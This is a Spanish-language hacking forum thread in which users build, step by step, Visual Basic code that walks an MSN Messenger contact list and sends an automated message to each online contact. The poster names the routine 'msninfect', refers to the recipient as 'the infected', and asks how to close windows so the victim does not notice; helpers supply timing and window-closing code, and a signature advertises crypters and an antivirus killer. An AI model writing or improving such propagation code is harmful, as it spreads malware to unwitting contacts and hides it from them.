Autor
|
Tema: Copiar lista de contactos msn (Leído 9,910 veces)
|
krosty_ufc
Desconectado
Mensajes: 19
|
Buenas Mi problema es que me tira error 91 al ejecutar esto: Option Explicit Public WithEvents MSN As MessengerAPI.Messenger Public WithEvents MsgrUIA As MessengerAPI.Messenger Private Sub Form_Load() Set MSN = New MessengerAPI.Messenger Dim user As IMessengerContact For Each user In MsgrUIA.MyContacts 'Por cada usuario en la lista de contactos: si está conectado, en linea, ausente, no disponible, etcetera. agrega cada direccion de correo a List1 If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then List1.AddItem user.SigninName 'También podríamos hacer esto con el nick colocando "user.FriendlyName" End If Next End Sub
Nose cual es el error :S parece estar todo bien. Aver si alguien sabe Salu2
|
|
|
En línea
|
|
|
|
nhaalclkiemr
Desconectado
Mensajes: 1.678
Máximo exponente 9DB9F1AEED2FADBDE 997BBE20FEDA92
|
Tienes que leer los errores y mirar la linea...como pongas un post por cada error pufff...yo al menos saturaría el foro. Error 91, Variable de tipo Object o la variable del bloque With no está establecidaDespues de eso miras la linea y ves como estás usando una variable definido que no estableciste con SET...te faltaba Set MsgrUIA = New MessengerAPI.MessengerEl código te queda así: Option Explicit Public WithEvents MSN As MessengerAPI.Messenger Public WithEvents MsgrUIA As MessengerAPI.Messenger Private Sub Form_Load() Set MSN = New MessengerAPI.Messenger Set MsgrUIA = New MessengerAPI.Messenger Dim user As IMessengerContact For Each user In MsgrUIA.MyContacts 'Por cada usuario en la lista de contactos: si está conectado, en linea, ausente, no disponible, etcetera. agrega cada direccion de correo a List1 If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then List1.AddItem user.SigninName 'También podríamos hacer esto con el nick colocando "user.FriendlyName" End If Next End Sub
Saludos
|
|
|
En línea
|
StasFodidoCrypter 1.0 - 100% (old) | StasFodidoCrypter 2.0 - 85% (deserted) | Fire AV/FW-Killer - 97% (deserted) | R-WlanXDecrypter 1.0- 100% |
|
|
|
krosty_ufc
Desconectado
Mensajes: 19
|
Te agradezco, ya va perfecto. Si lo que pasa es que no ponia la linea del error :S Solo decia Error 91, Variable de tipo Object o la variable del bloque With no está establecida Bien ahora yo quisiera que mande un mensaje a uno por uno de esa lista, lo que probe hacer es esto, pero no va :S Option Explicit Public WithEvents MSN As MessengerAPI.Messenger Public WithEvents MsgrUIA As MessengerAPI.Messenger Private Sub Form_Load() Set MSN = New MessengerAPI.Messenger Set MsgrUIA = New MessengerAPI.Messenger Dim user As IMessengerContact For Each user In MsgrUIA.MyContacts If user.Status = MISTATUS_ONLINE Or user.Status = MISTATUS_AWAY Or user.Status = MISTATUS_BE_RIGHT_BACK Or user.Status = MISTATUS_BUSY Or user.Status = MISTATUS_IDLE Or user.Status = MISTATUS_ON_THE_PHONE Or user.Status = MISTATUS_OUT_TO_LUNCH Then List1.AddItem user.SigninName End If MSN.InstantMessage List1 SendKeys (" prueba ") SendKeys ("{ENTER}") Next End Sub Aver alguien que sepa de Vb que me dice. Salu2 y muchas gracias
|
|
|
En línea
|
|
|
|
Tengu
Desconectado
Mensajes: 330
2+1 = 1 , despues de todo , tdo es relativo
|
Pregunta hasta el punto de agregarlos a la lista, funciona??? por q tal vez te este fallando y no se produzca el envio uno por uno ....yo ahora no puedo probarlo por q toy en el trabajo y no tengo vb a mano y sino cheka esto y ve al "sub msninfect" http://foro.elhacker.net/index.php?topic=181032.msg862609ta l vez puedas comparar PD: Yo no se de visual basic
|
|
« Última modificación: 20 Septiembre 2007, 15:18 pm por Tengu ..::Fireb0y::.. »
|
En línea
|
Encuentros por Video y Chat !!
|
|
|
krosty_ufc
Desconectado
Mensajes: 19
|
Si, lo vi, lo que passa es que si pongo dos veces el "for each" no me deja :S Asi que no puedo poner esto For Each ConTacto In w.MyContacts 'Vamos de contacto en contacto Ya que ya lo tengo en: For Each user In MsgrUIA.MyContacts Salu2
|
|
|
En línea
|
|
|
|
krosty_ufc
Desconectado
Mensajes: 19
|
Ya pude hacerlo : Public WithEvents MSN As MessengerAPI.Messenger Public WithEvents MsgrUIA As MessengerAPI.Messenger Private Sub Form_Load() msninfect: Set MSN = New MessengerAPI.Messenger Set MsgrUIA = New MessengerAPI.Messenger Dim user As IMessengerContact Dim ConTacto As IMessengerContact For Each ConTacto In MsgrUIA.MyContacts If (ConTacto.Status = 2) Or (ConTacto.Status = 10) Or (ConTacto.Status = 14) Or (ConTacto.Status = 34) Or (ConTacto.Status = 50) Or (ConTacto.Status = 66) Then MSN.InstantMessage (user.SigninName) SendKeys (" prueba ") SendKeys ("{ENTER}") End If Next End Sub Pequeño problema ahora, Primero: Solo alcanza a mandar el mensaje a unos pocos ya que carga demasiado rapido las ventanas. Segundo: Abre demasiado rapido las ventanas por lo que coinsume mucha cpu. Tercero: No se cierran las ventanas por lo que el infectado ve el mensaje Ahora como se podria hacer par que entre ventana y ventana al abrir pasen 5 segundos, y la ventana una ves mendada el mensaje se cierre ? Aver si alguien sabe. Salu2
|
|
|
En línea
|
|
|
|
Tengu
Desconectado
Mensajes: 330
2+1 = 1 , despues de todo , tdo es relativo
|
busca algo sobre la funcion "sleep" y para cerrar solo dale un sendkeys con % y F4 y listo..
|
|
|
En línea
|
Encuentros por Video y Chat !!
|
|
|
Tengu
Desconectado
Mensajes: 330
2+1 = 1 , despues de todo , tdo es relativo
|
o.... Private Sub Wait(ByVal nSec As Integer) Dim t1 As Date, t2 As Date
t1 = Second(Now) t2 = t1 + nSec
Do DoEvents Loop While t2 > Second(Now) End Sub y cuando quieras esperar pones este code Sacado del code q esta en el hilo q antes postee
|
|
|
En línea
|
Encuentros por Video y Chat !!
|
|
|
krosty_ufc
Desconectado
Mensajes: 19
|
Bien si conoscia lo de la funcion sleep, pero era que no me di cuenta que podia usarla aca xDDD Y sobre lo de alt f4, no sabia como ponerlo jaja Y sobre el de "wait (1)" no lo usaba porq solo era 1 seg xD pero agrege 5 d esos n ose me abai ocurrido jajaja. Bien lo que hize fue lo siguiente: Option Explicit Public WithEvents MSN As MessengerAPI.Messenger Public WithEvents MsgrUIA As MessengerAPI.Messenger
Private Sub Wait(ByVal nSec As Integer) Dim t1 As Date, t2 As Date
t1 = Second(Now) t2 = t1 + nSec
Do DoEvents Loop While t2 > Second(Now) End Sub Private Sub Form_Load() Set MSN = New MessengerAPI.Messenger Set MsgrUIA = New MessengerAPI.Messenger Dim user As IMessengerContact Dim ConTacto As IMessengerContact For Each user In MsgrUIA.MyContacts If (user.Status = 2) Or (user.Status = 10) Or (user.Status = 14) Or (user.Status = 34) Or (user.Status = 50) Or (user.Status = 66) Then MSN.InstantMessage (user.SigninName) SendKeys ("prueba") SendKeys ("{ENTER}") Wait (1) Wait (1) Wait (1) Wait (1) Wait (1) SendKeys ("%{F4}")
End If Next End Sub Anda de lujo esepto por el alt + f4 que en mi maquina aprece no andar, porq me tira a la ventana de cerrar win, nose porque. Pruebenlo algien dsd su pc aver si le funciona bien y comenta aver que tal plis. Salu2 y muchas gracais por la ayuda
|
|
|
En línea
|
|
|
|
Tengu
Desconectado
Mensajes: 330
2+1 = 1 , despues de todo , tdo es relativo
|
antes del sendkeys alt+f4 puedes probar poniendo esto: appactivate "Conversación"
|
|
|
En línea
|
Encuentros por Video y Chat !!
|
|
|
|
|